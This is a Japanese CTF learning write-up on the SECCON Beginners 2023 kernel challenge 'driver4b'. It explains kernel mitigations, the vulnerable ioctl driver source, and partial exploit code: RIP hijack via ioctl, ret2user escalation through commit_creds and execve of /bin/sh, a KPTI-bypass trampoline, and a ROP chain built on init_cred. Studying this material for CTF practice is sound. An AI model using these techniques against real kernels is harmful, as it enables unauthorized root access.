6/3 から開催されていた SECCON Beginners CTF 2023 で出題された driver4b をテーマに、Linux のカーネルエクスプロイトについて学んでみようと思います。
driver4b は Linux のカーネルエクスプロイトをテーマにしたエントリレベルの問題でした。
コンテスト中は残念ながらあと一歩 Flag を取るまでに至らず悔しい思いをしたので、本棚の肥やしになってた詳解 Linux カーネルを片手に前提知識を含めて学んでいくことにしました。
driver4b で攻撃する対象は x8664 のカーネル上で動作するカーネルドライバですので、今回の内容も x8664 を対象とすることにします。
もくじ
カーネルをビルドする
まず、以下のソースなどから Linux のバージョンを確認しておきます。
参考:kernel - Linux source code (v6.3.6) - Bootlin
次に、以下からダウンロードした Buildroot ツールを展開します。
参考:Buildroot - Making Embedded Linux Easy
この時、以下に記載の依存パッケージを事前にインストールしておきます。
sudo apt install make binutils build-essential diffutils gcc g++ patch gzip bzip2 perl tar cpio unzip rsync file bc findutils wget -y
カーネルのビルドのため、ビルドオプションを設定します。
# ビルドオプションの設定
make qemu_x86_64_defconfig
make menuconfig
ターゲットバージョンは、問題環境と同じ 6.3.2
に変更します。
カーネルバージョンを変更したら、Toolchains の Custom kernel headers series のバージョンも対応するバージョン(6.3.x) に変えておかないと make がかなり進んでからエラーになるという罠があるので注意します。
また、調査を用意にするために strip を外したり debugging info を付与する設定を有効化します。
設定が完了したら、root ユーザで以下のコマンドを実行してカーネルをビルドします。
# Linux カーネルのビルド
sudo su
make
設定が上手くいっていれば、1 時間程度で output/images
にカーネルイメージがビルドされます。
カーネルモジュール(デバイスドライバ)
カーネルモジュール(デバイスドライバ)の実体
Linux におけるデバイスドライバは、メモリ内のカーネル空間内で、Linux カーネルイメージ内のデバイスドライバ(.o
) とは別のモジュール(.ko
)として動作します。(ただし、デバイスドライバはカーネルの一部として動作します)
デバイスドライバは静的リンク(カーネルイメージに組み込まれる)か、または動的リンク(動作中のカーネルに対してロード、アンロードができる)でカーネルに組み込まれます。
動的リンク型のデバイスドライバは、insmod
コマンドでロードされます。また、rmmod
でアンロードされます。
Linux カーネルはモノリシックなカーネルなので、カーネルイメージと追加したデバイスドライバは同じカーネルメモリ空間を共有します。
今回の問題環境では、起動時に /bin/sh /etc/init.d/S99ctf start
が実行されていました。
S99ctf は以下のようなスクリプトであり、/root/ctf4b.ko
を insmod
コマンドでロードしていることがわかります。
#!/bin/sh
# Setup
mdev -s
mount -t proc none /proc
stty -opost
# Install kernel driver
insmod /root/ctf4b.ko
mknod -m 666 /dev/ctf4b c `grep ctf4b /proc/devices | awk '{print $1;}'` 0
# User shell
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Welcome to SECCON Beginners CTF 2023 ]"
setsid cttyhack setuidgid 0 sh
# Cleanup
umount /proc
poweroff -d 0 -f
デバイスファイルを用意する
ユーザ空間で動作する通常のプログラムは、カーネル空間で動作するデバイスドライバとは独立したメモリ領域で稼働しています。
そのため、「デバイスファイル」という、プログラムとデバイスドライバ間で情報を交換するためのインターフェースを使用します。
デバイスファイルは一般的に /dev
配下に作成されます。
今回の問題では /dev/ctf4b
というキャラクタデバイスが、 ctf4b とのインターフェースになります。
デバイスファイルは常に 1 つのデバイスドライバのみと紐づけされる必要があるため、mknod
コマンドでデバイスファイルを作成する場合には、対象のデバイスドライバのメジャーバージョンと、対応するハードウェアを指定するマイナーバージョンを指定します。
以下の例では、/proc/devices
の情報から ctf4b のメジャーバージョンを取得し、マイナーバージョンには 0 を指定しています。
mknod -m 666 /dev/ctf4b c `grep ctf4b /proc/devices | awk '{print $1;}'` 0
ちなみに -m
はデバイスファイルの権限を指定しており、 666 は読み書きを許可する -m 'a=rw'
と同等の設定値に当たります。
また、c
ではデバイスファイルの種類をキャラクタデバイスファイルに指定しています。
メモリアドレッシングについて
Linux 環境のメモリは、大きく以下の 3 種類に分類されます。
- 論理アドレス:オペラントと命令アドレスを指定するときに使用するアドレス
- リニアアドレス:仮想アドレスと同義であり、論理アドレスから物理アドレスに変換するための一次変換後のアドレス
- 物理アドレス:メモリチップ内のメモリセルを指定する際に使用するアドレス
そして、論理アドレスから物理アドレスを特定する一般的な方法として、セグメンテーションとページングが利用されます。
セグメンテーションでは、論理アドレスからリニアアドレス(仮想アドレス)を特定します。また、ページングではリニアアドレス(仮想アドレス)から物理アドレスを特定します。
なお、セグメンテーションは x86_64 では利用されておらず、論理アドレスとリニアアドレス(仮想アドレス)は実質的に同じである「基本フラットモデル」になっています。
※ ただし、カーネル空間のセグメントは CPU のリングプロテクションによって ring0 の権限でしかアクセスできないように制限されます。
参考:セグメント機構とCPUの動作モード(Linux(64bit)との関係性) - 人生は勉強ブログ
ちなみに、x86 でのセグメント管理については以前に xv6OS のソースコードを読んだ時に少し勉強しました。
参考:xv6OSを真面目に読みこんでカーネルを完全に理解する -セグメントディスクリプタ初期化 編-
そしてページングについてですが、詳解 Linux カーネルによると、少なくともページング機構については x86 と x86_64 アーキテクチャはどちらも同じページングモデルが適用されています。(ただし、32 bit OS のページング機構が 2 階層なのに対して、 2.6.11 以降の 64 bit アーキテクチャでは 4 または 5 階層のページングモデルを使用します。)
このページングモデルでは、CR3 レジスタに保持されている値とグローバルディレクトリの情報を組み合わせて、ページグローバルテーブル(レベル 4 テーブル)の特定のエントリを指定するところから始まり、最終的にページテーブルから取得したページのオフセットを使用して物理アドレスのオフセットを特定します。
参考:Linux x86_64のメモリアドレッシング - Qiita
参考:カーネルエクスプロイトによるシステム権限奪取 - Speaker Deck
カーネルのセキュリティ機構の有無を特定する
通常のユーザモードプロセスのエクスプロイトと同じように、カーネルエクスプロイトでもセキュリティ機構に注意を払う必要があるようです。
主だったセキュリティ機構の種類とその確認方法については以下の記事が非常に参考になりました。
SMEP (Supervisor Mode Execution Prevention)
SMEP が有効(CR4レジスタの21ビット目がたっている)な場合、実行中のカーネル空間のコードからユーザ空間のコードをいきなり実行することが禁止されます。
つまり SMEP が有効な場合はカーネルエクスプロイトで RIP を奪われてもそのままユーザ空間のコード実行を行うことができなくなります。
SMEP が有効かどうかは以下のコマンドで確認できます。(何も出力されない場合は SMEP は無効化されています)
# SMEP が有効かを確認する
cat /proc/cpuinfo | grep smep
今回の問題バイナリの環境では Qemu の -cpu
オプションに +smep
は指定されておらず、SMEP が無効化されていることがわかります。
SMEP のみが有効な環境でエクスプロイトを通すことが可能な手法としては、ROP ガジェットを利用した Stack Pivot があるようです。
参考にしている記事の例だと、例えば以下のようなガジェットを使用して RSP を変更して Stack Pivot を行うことで制御した RIP から ROP Chain を悪用したコード実行を可能にすることができるようです。
mov esp, 0x12345678; ret;
SMAP (Supervisor Mode Access Prevention)
SMAP(CR4レジスタの22ビット目) はカーネル空間からユーザ空間のメモリを読み書きできなくするための機構です。
Stack Pivot でユーザ空間のプロセスが確保したメモリ領域を使用した ROP Chain の防止や、カーネルドライバなどの脆弱性を悪用して任意のアドレスのデータをリークしたり書き換えたりする AAR(Arbitrary Address Read) や AAW(Arbitrary Address Write) の攻撃を防ぐ効果があります。
SMAP が有効かどうかは以下のコマンドで確認可能です。
# SMAP が有効かを確認する
cat /proc/cpuinfo | grep smap
また、問題環境では Qemu の起動時に +smap
の cpu オプションが与えられていないので、SMAP も無効化されていることがわかります。
KASLR、FGKASLR
KASLR(Kernel Address Space Layout Randomization) は、ユーザ空間のプロセスの持つ ASLR のカーネル版のような機構で、Linux カーネルやデバイスドライバのコード領域とデータ領域のアドレスをランダム化します。
また、FGKASLR(Function Granular KASLR) は KASLR の強化版で、Linux カーネルの関数ごとにアドレスをランダム化できる機構で、特定の関数アドレスをリークしてもカーネルのベースアドレスを特定させないメリットがあるようです。
KASLR はデフォルトで有効ですが、Qemu 環境の場合は起動時の -append
オプションに nokaslr
が指定されていれば KASLR は無効化されいると判断できます。
今回の問題環境でも、以下のとおり KASLR は無効化されています。
KPTI (Kernel Page-Table Isolation)
KPTI は仮想アドレスから物理アドレスに変換する際に利用するページテーブルをユーザモードとカーネルモードで分離する機構です。
これにより、カーネル空間のメモリをユーザー権限で参照する Meltdown 攻撃を防止します。
また、KPTI が有効な場合にはカーネル空間から ROP する場合にユーザ空間に ret した際にクラッシュが発生するようです。
これは、ユーザ空間に異動した際に KPTI が有効化されていると、ページディレクトリがカーネル空間のまま変わらず、ユーザー空間のページを参照できなくなることが原因で発生します。
KPTI の影響を回避するためには、ユーザ空間に戻る前に CR3 レジスタを 0x1000 で OR する必要があるようです。
このような処理は swapgsrestoreregsandreturntousermode マクロの処理で実装されているようです。
このマクロのアドレスは、/proc/kallsyms
の出力結果から以下のようにして特定できます。
# swapgs_restore_regs_and_return_to_usermode のアドレスを特定
cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
参考:Holstein v1: Stack Overflowの悪用 | PAWNYABLE!
KPTI は、 Qemu 環境の場合は起動時の -append
オプションに pti=on
が指定されていれば有効化されいると判断できます。
今回の問題環境では KPTI は有効化されています。
KADR (Kernel Address Display Restriction)
後述する通り、Linux カーネルの関数の名前とアドレスは /proc/kallsyms
などから参照することができますが、KADR が有効化されている場合カーネル空間の関数やデータ、ヒープなどのアドレス情報のリークが防止されます。
カーネルエクスプロイト問のアプローチ
※ あくまでカーネルエクスプロイトに入門する人間が初めて学んだ内容のメモなので、内容の網羅性は保証しません。
カーネルメモリ空間のアドレスを特定する
カーネルメモリ空間のアドレスは、/proc/kallsyms
の出力などから特定することができます。
# kASLR が無効化されていればアドレスは固定になる
cat /proc/kallsyms
前述の KASLR が無効化されていれば、ここで特定したアドレスをそのままエクスプロイトに利用することが可能ですが、 KASLR が有効な場合このアドレスは使用できないので、実行中のカーネルなどからリークさせる必要があります。
bazImage から vmlinux を取得する
vmlinux は、内部にLinuxカーネル本体を包含する静的リンクされた実行ファイル(ELF)です。
今回の問題バイナリの場合、bzImage という vmlinux を圧縮した形式のファイルが与えられるため、extract-vmlinux
で vmlinux を展開しておきます。
# bzImage を展開する
wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
chmod +x extract-vmlinux
./extract-vmlinux bzImage > vmlinux
vmlinux を展開することで、gdb へのロードやガジェットの探索などを行えるようになります。
ファイルシステムを編集してバイナリを配置する
問題を解く際に、与えられた rootfs.cpio を展開して問題ファイルを埋め込みたい場合があります。
その場合は、root ユーザで以下のようなコマンドを実行します。
# cpio ファイルを展開する(root)
mkdir root
cd root; cpio -idv < ../rootfs.cpio
# エクスプロイトの配置
gcc -static ../pwn.c -o ./pwn
# Exploitの配置後(root)
find . -print0 | cpio -o --format=newc --null > ../rootfs.cpio
詳細については以下が参考になりました。
参考:コンパイルとexploitの転送 | PAWNYABLE!
driver4b(Pwn)
This is an introduction to Linux Kernel driver programming and exploitation.
これで最低限の背景知識を整理できたかと思うので、いよいよ driver4b の問題をちゃんと解いていきます。
問題の概要について
問題サーバに nc でアクセスすると、最初に hashcash で生成したトークンを求められ、ローカル端末で生成したトークンを入力し、認証を行うと問題マシンのシェルにアクセスできるようになります。
この時アクセスできるシェルは、問題バイナリとして与えられた release/run.sh
で起動した環境と同等のようです。
#!/bin/sh
timeout --foreground 300 qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-initrd rootfs.cpio \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on nokaslr" \
-no-reboot \
-cpu kvm64 \
-monitor /dev/null \
-net nic,model=virtio \
-net user
実際にシェルにアクセスすると、x86_64 のバニラ Linux に通常ユーザ権限で、インターネットに接続可能な環境であることがわかります。(HTTPS 接続はできず、wget コマンドによるファイル取得は HTTP に対してのみ有効に動作する。)
続いて、root 権限でシェルを起動可能な debug/debug.sh
を使用してシェルを起動し、dmesg コマンドの結果を確認したところ、ctf4b: loading out-of-tree module taints kernel.
というメッセージが表示されていることがわかります。
また、ps コマンドを発行すると {S99ctf} /bin/sh /etc/init.d/S99ctf start
というプロセスが稼働していることがわかります。
ここで、/etc/init.d/S99ctf
は以下のようなスクリプトでした。
#!/bin/sh
# Setup
mdev -s
mount -t proc none /proc
stty -opost
# Install kernel driver
insmod /root/ctf4b.ko
mknod -m 666 /dev/ctf4b c `grep ctf4b /proc/devices | awk '{print $1;}'` 0
# User shell
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Welcome to SECCON Beginners CTF 2023 ]"
setsid cttyhack setuidgid 0 sh
# Cleanup
umount /proc
poweroff -d 0 -f
上記を確認すると、/root/ctf4b.ko
のデバイスドライバを insmod コマンドでロードした後、/dev/ctf4b
というキャラクタデバイスを作成して割り当てていることがわかります。
以下のコマンドを実行してみるとカーネルのメモリ空間に ctf4b がロードされていることが確認できます。
cat /proc/kallsyms | grep ctf4b
>
ffffffffc0000010 t module_open [ctf4b]
ffffffffc0000030 t module_ioctl [ctf4b]
ffffffffc00000e0 t module_cleanup [ctf4b]
ffffffffc00000c0 t module_close [ctf4b]
ffffffffc0000000 t __pfx_module_open [ctf4b]
ffffffffc0000020 t __pfx_module_ioctl [ctf4b]
ffffffffc00000b0 t __pfx_module_close [ctf4b]
ffffffffc00000e0 t cleanup_module [ctf4b]
ffffffffc00000d0 t __pfx_cleanup_module [ctf4b]
さらに、この ctf4b.ko
が存在するディレクトリを調べると、 root ディレクトリに flag.txt というファイルが配置されていることがわかります。
つまり、今回の問題はデバイスドライバの脆弱性を悪用することで root 権限を取得し、flag.txt を読み出す必要があることがわかります。
デバイスドライバを調べる
今回の問題バイナリである ctf4b.ko
については、ありがたいことにソースコードが問題バイナリとして与えられています。
// ctf4b.h
#define CTF4B_DEVICE_NAME "ctf4b"
#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD 0xC7F4B01
#define CTF4B_MSG_SIZE 0x100
// ctf4b.c
#include "ctf4b.h"
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("pwnyaa");
MODULE_DESCRIPTION("SECCON Beginners CTF 2023 Online");
char g_message[CTF4B_MSG_SIZE] = "Welcome to SECCON Beginners CTF 2023!";
/**
* Open this driver
*/
static int module_open(struct inode *inode, struct file *filp)
{
return 0;
}
/**
* Close this driver
*/
static int module_close(struct inode *inode, struct file *filp)
{
return 0;
}
/**
* Handle ioctl request
*/
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
char *msg = (char*)arg;
switch (cmd) {
case CTF4B_IOCTL_STORE:
/* Store message */
memcpy(g_message, msg, CTF4B_MSG_SIZE);
break;
case CTF4B_IOCTL_LOAD:
/* Load message */
memcpy(msg, g_message, CTF4B_MSG_SIZE);
break;
default:
return -EINVAL;
}
return 0;
}
static struct file_operations module_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = module_ioctl,
.open = module_open,
.release = module_close,
};
static dev_t dev_id;
static struct cdev c_dev;
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, CTF4B_DEVICE_NAME))
return -EBUSY;
cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;
if (cdev_add(&c_dev, dev_id, 1)) {
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}
return 0;
}
static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}
module_init(module_initialize);
module_exit(module_cleanup);
このモジュールのコードを読むと、末尾で以下の関数が呼び出されていることがわかります。
ここではモジュールの初期化と終了時の処理が定義されます。
module_init(module_initialize);
module_exit(module_cleanup);
終了処理は一旦無視し、初期化処理を確認してみます。
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, CTF4B_DEVICE_NAME))
return -EBUSY;
cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;
if (cdev_add(&c_dev, dev_id, 1)) {
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}
return 0;
}
ここでは、cdev_init
と cdev_add
でモジュールのインターフェースを定義しています。
この時 cdev_init
に与えられている &module_fops
は、作成したインターフェース(キャラクタデバイス)に対してシステムコールが発行された場合に行う処理の関数テーブルにあたります。
static struct file_operations module_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = module_ioctl,
.open = module_open,
.release = module_close,
};
今回着目するのは、ioctl
がコールされた場合に呼び出される処理を定義した unlocked_ioctl
の行です。
参考:Linuxのunlockedioctlとcompatioctlの違い - Qiita
ここから、作成したキャラクタデバイスに対して ioctl
がコールされると以下の処理が呼び出されることがわかります。
/**
* Handle ioctl request
*/
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
char *msg = (char*)arg;
switch (cmd) {
case CTF4B_IOCTL_STORE:
/* Store message */
memcpy(g_message, msg, CTF4B_MSG_SIZE);
break;
case CTF4B_IOCTL_LOAD:
/* Load message */
memcpy(msg, g_message, CTF4B_MSG_SIZE);
break;
default:
return -EINVAL;
}
return 0;
}
どうやらこの関数が攻撃の起点になりそうです。
module_ioctl を読む
module_ioctl
関数の定義を見ると、 ioctl
の第 2 引数に CTF4BIOCTLSTORE(0xC7F4B00) が与えられた場合は、続く ioctl
の第 3 引数の値をグローバル変数 g_message
の領域に memcpy
することがわかります。
また ioctl
の第 2 引数に CTF4BIOCTLLOAD(0xC7F4B01) が与えられた場合は、逆に g_message
の値がローカル変数 msg
にコピーされます。
処理としてはシンプルですが、CTF4BIOCTLLOAD の処理を呼び出した場合、任意のアドレスに対して g_message
の値を埋め込むことができるようになることがわかります。
ここで、先ほど確認した通り今回の環境では SMAP、SMEP や KASLR は無効化されています。
つまり、gdb で特定した ret 時のスタックを改ざんして RIP を奪取したり、ユーザランドのメモリを書き換えるなどやりたい放題できるようになるわけです。
実際に、以下のコードで作成したペイロードを使用することで、 TARGET で指定した ret 時の RSP を改ざんし、 RIP を奪取することに成功しました。
int fd;
fd = open("/dev/ctf4b", O_RDWR);
if (fd == -1) fatal("/dev/ctf4b");
if (ioctl(fd, CTF4B_IOCTL_STORE, "AAAAAAAA") == -1) {
perror("ioctl");
exit(1);
}
if (ioctl(fd, CTF4B_IOCTL_LOAD, TARGET) == -1) {
perror("ioctl");
exit(1);
}
root 権限で Shell を取得する(ret2user)
無事に RIP を奪取できたので、root 権限の Shell 取得を目指します。
以下の記事を参考にしたところ、SMEP が無効な場合はユーザ空間のコード実行を利用して ret2user という手法で root 権限の Shell を取得できるようです。
参考:Holstein v1: Stack Overflowの悪用 | PAWNYABLE!
ret2user では、ユーザ空間で以下のように定義した escalate_privilege 関数をカーネル空間から呼び出すことで権限昇格を行います。
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
static void restore_state() {
asm volatile("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss),
"r"(user_rsp),
"r"(user_rflags),
"r"(user_cs), "r"(win));
}
static void escalate_privilege() {
char* (*pkc)(int) = (void*)(prepare_kernel_cred);
void (*cc)(char*) = (void*)(commit_creds);
(*cc)((*pkc)(0));
restore_state();
}
最終的に、commit_creds 関数を使用して権限を昇格した状態で win 関数に飛ばすことで Shell を取得します。
問題環境の preparekernelcred と commit_creds のアドレスは以下のコマンドで特定しました。
※ ちなみに release の方のイメージだと [/proc/sys/kernel/kptr_restrict] が 0 ではなく 2 に指定されているので /proc/kallsyms からアドレスを参照できません。
cat /proc/kallsyms | grep prepare_kernel_cred
cat /proc/kallsyms | grep commit_creds
これで勝つると、奪取した RIP で escalate_privilege 関数に ret させたものの、以下のように permissions violation
で関数プロローグの最初の行でクラッシュしてしまいました。
ここでクラッシュする原因がわからずしばらく苦戦しましたが、 CR3 レジスタが参照しているディレクトリテーブルのアドレスがカーネル空間のままになっていることが原因でユーザ空間のコード実行に失敗していたようでした。
これは、カーネルのセキュリティ機構である KPTI によるもので、ユーザ空間のページテーブルを参照しないままユーザ空間のコード実行を試みたためにクラッシュが発生したようです。
KPTI の回避
KPTI を回避するためには、一般的に以下の 2 つの手法があるようです。(他にもあるようですが、詳しい挙動は理解できませんでした。)
- KPTI トランポリン
- プロセスに返された SIGSEGV の例外を処理するイベントハンドラの実装
参考:Kernel page table isolation (KPTI) - Breaking Bits
ただし、どうもどちらの回避策も、利用するためにはカーネル空間で ROP Chains を組む必要があるようです。
今回は、KPTI トランポリンによる回避を試してみました。
具体的には、カーネル内に存在している swapgsrestoreregsandreturntousermode マクロを使用して CR3 レジスタの値を適切に切り替えます。
参考:Holstein v1: Stack Overflowの悪用 | PAWNYABLE!
参考:Kernel page table isolation (KPTI) - Breaking Bits
KPTI トランポリンを実現できる ROP ガジェットを特定するため、まずは swapgsrestoreregsandreturntousermode のアドレスを特定します。
cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff818017e0 T swapgs_restore_regs_and_return_to_usermode
このアドレスのアセンブリを適当に取得してみると、以下のようになっていました。
$ x/100i 0xffffffff818017e0
0xffffffff818017e0: jmp 0xffffffff818017fb
0xffffffff818017e2: mov ecx,0x48
0xffffffff818017e7: mov rdx,QWORD PTR gs:0x1bcf0
0xffffffff818017f0: and edx,0xfffffffe
0xffffffff818017f3: mov eax,edx
0xffffffff818017f5: shr rdx,0x20
0xffffffff818017f9: wrmsr
0xffffffff818017fb: pop r15
0xffffffff818017fd: pop r14
0xffffffff818017ff: pop r13
0xffffffff81801801: pop r12
0xffffffff81801803: pop rbp
0xffffffff81801804: pop rbx
0xffffffff81801805: pop r11
0xffffffff81801807: pop r10
0xffffffff81801809: pop r9
0xffffffff8180180b: pop r8
0xffffffff8180180d: pop rax
0xffffffff8180180e: pop rcx
0xffffffff8180180f: pop rdx
0xffffffff81801810: pop rsi
0xffffffff81801811: mov rdi,rsp
0xffffffff81801814: mov rsp,QWORD PTR gs:0x6004
0xffffffff8180181d: push QWORD PTR [rdi+0x30]
0xffffffff81801820: push QWORD PTR [rdi+0x28]
0xffffffff81801823: push QWORD PTR [rdi+0x20]
0xffffffff81801826: push QWORD PTR [rdi+0x18]
0xffffffff81801829: push QWORD PTR [rdi+0x10]
0xffffffff8180182c: push QWORD PTR [rdi]
0xffffffff8180182e: push rax
0xffffffff8180182f: xchg ax,ax
0xffffffff81801831: mov rdi,cr3
0xffffffff81801834: jmp 0xffffffff8180186a
0xffffffff81801836: mov rax,rdi
0xffffffff81801839: and rdi,0x7ff
0xffffffff81801840: bt QWORD PTR gs:0x20ad6,rdi
0xffffffff8180184a: jae 0xffffffff8180185b
0xffffffff8180184c: btr QWORD PTR gs:0x20ad6,rdi
0xffffffff81801856: mov rdi,rax
0xffffffff81801859: jmp 0xffffffff81801863
0xffffffff8180185b: mov rdi,rax
0xffffffff8180185e: bts rdi,0x3f
0xffffffff81801863: or rdi,0x800
0xffffffff8180186a: or rdi,0x1000
0xffffffff81801871: mov cr3,rdi
0xffffffff81801874: pop rax
0xffffffff81801875: pop rdi
0xffffffff81801876: swapgs
0xffffffff81801879: jmp 0xffffffff81801896
ここで、最終的に CR3 レジスタを書き換えてユーザ空間に処理を戻すことができるのは mov rdi,cr3
の行から swapgs
のあたりまでの処理です。
この一連の処理を正しく呼び出すためには事前に取得しておいた user_rsp などの値をスタックに積んだ上で 0xffffffff81801811
に処理を飛ばしてあげる必要があることがわかります。
というわけで、KPIT トランポリンを行うための ROP ガジェットのアドレスを以下のように設定しました。
unsigned long rop_bypass_kpti = 0xffffffff81801811;
ROP Chains の作成
ropbypasskpti のアドレスは特定できたので、このままカーネル空間で preparekernelcred と commit_creds を呼び出して権限昇格をする ROP Chains を作成しようと思います。
カーネル空間で ROP ガジェットを探索するため、展開した vmlinux に対して ROPgadget をかけます。
# ROP chain の探索
ROPgadget --binary vmlinux > ropchain
Holstein v1: Stack Overflowの悪用 | PAWNYABLE! を参考にして次のようなガジェットを探します。
pop rdi; ret;
pop rcx; ret;
mov rdi, rax; rep movsq [rdi], [rsi]; ret;
swapgs; ret;
iretq
しかし、pop rdi; ret;
と pop rcx; ret;
以外のガジェットが全く見つかりませんでした。
途方に暮れていたところで、参照していた記事をよく読んでみると以下の記載が見つかりました。
通常「mov rdi, rax; rep movsq; ret;」のようなgadgetが存在し、preparekernelcred(NULL)の結果をcommitcredsに渡せます。あるいは「mov rdi, rax; call rcx;」のようなgadgetでcommitcredsの先頭のpush rbpをスキップして実行しても良いでしょう。 どうしてもgadgetが見つからない時や、ROP chainを短くしたいときはinitcredが使えます。initcredというグローバル変数にはroot権限のcred構造体が入っています。つまり、単にcommitcreds(initcred)を実行するだけでも権限昇格できます。
参考:Holstein v1: Stack Overflowの悪用 | PAWNYABLE!
どうやら root 権限の cred 構造体が定義されているグローバル変数 initcred のアドレスを見つけ出せば、preparekernelcred を呼び出さなくても pop rdi; ret;
のガジェットだけで commitcreds を呼び出せるようです。
参考:Exploiting the Linux Kernel for Privilege Escalation
また、そもそもバージョン 6.2 以降の Linux カーネルでは preparekernelcred 関数に NULL を与えた場合に initcred が返却される仕様自体が取り払われているため、initcred のアドレスを特定して commit_creds を呼び出す操作が必須になっているようでした。
実際に cred.c のソースコードを bootlin で比較してみると、確かに以下のように old = get_cred(&init_cred);
の箇所が削除されています。
// v6.1.33 の prepare_kernel_cred
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
{{ 省略 }}
// v6.2 の prepare_kernel_cred
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
if (WARN_ON_ONCE(!daemon))
return NULL;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
old = get_task_cred(daemon);
validate_creds(old);
*new = *old;
{{ 省略 }}
というわけで、最終的に Flag を取得するための ROPChains を以下のように構成することを目標にしました。
commitcreds のアドレスは debug 環境で `cat /proc/kallsyms | grep commitcredsを実行したことで特定されていますし、
roppoprdi、
ropbypasskpti` のガジェットについてもすでにアドレスは特定済みです。
unsigned long *chain = buf;
*chain++ = rop_pop_rdi;
*chain++ = init_cred;
*chain++ = commit_creds;
*chain++ = rop_bypass_kpti;
*chain++ = 0xdeadbeef; // [rdi]
*chain++ = 0xdeadbeef;
*chain++ = (unsigned long)&win; // [rdi+0x10]
*chain++ = user_cs; // [rdi+0x18]
*chain++ = user_rflags; // [rdi+0x20]
*chain++ = user_rsp; // [rdi+0x28]
*chain++ = user_ss; // [rdi+0x30]
つまり、あとはシステム内の init_cred のアドレスさえ特定できれば権限昇格のための ROPChains に必要な情報がそろいそうです。
init_cred のアドレスを特定する
ここからは非常に長い道のりで、正直かなりしんどかったです。
Linux カーネルに関する知識が少ないのはもちろんですが、カーネルメモリ内から init_cred を特定する方法に関する情報が非常に少なかったため、かなり苦戦しました。
initcred は以下の cred 構造体のオブジェクトであり、inittask.c で定義されたカーネルの初期化処理の中で作成されます。
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC_INIT(2),
.magic = CRED_MAGIC,
#endif
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
.ucounts = &init_ucounts,
};
参考:linux/cred.c at 33f2b5785a2b6b0ed1948aafee60d3abb12f1e3a · torvalds/linux
初期化処理の中では、initcred は realcred と cred にそれぞれ格納されます。
RCU_POINTER_INITIALIZER(real_cred, &init_cred),
RCU_POINTER_INITIALIZER(cred, &init_cred),
これらは sched.h で定義されており、カーネルのヒープ領域に保存されます。
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
struct nameidata *nameidata;
参考:linux/sched.h at 64569520920a3ca5d456ddd9f4f95fc6ea9b8b45 · torvalds/linux
つまり、カーネルのヒープアドレスを特定してメモリ内で initcred のバイト列を検索することで initcred のアドレスを特定することができるようになります。
ヒープアドレスの上手い特定方法はわかりませんでしたが、今回はヒープアドレスを持つ適当な構造体のメモリを参照することで特定しました。
今回利用した構造体は tty_struct です。
ttystruct のアドレス特定には、alloctty_struct 関数を利用しました。
struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
struct tty_struct *tty;
tty = kzalloc(sizeof(*tty), GFP_KERNEL_ACCOUNT);
if (!tty)
return NULL;
kref_init(&tty->kref);
if (tty_ldisc_init(tty)) {
kfree(tty);
return NULL;
}
参考:linux/tty_io.c at 64569520920a3ca5d456ddd9f4f95fc6ea9b8b45 · torvalds/linux
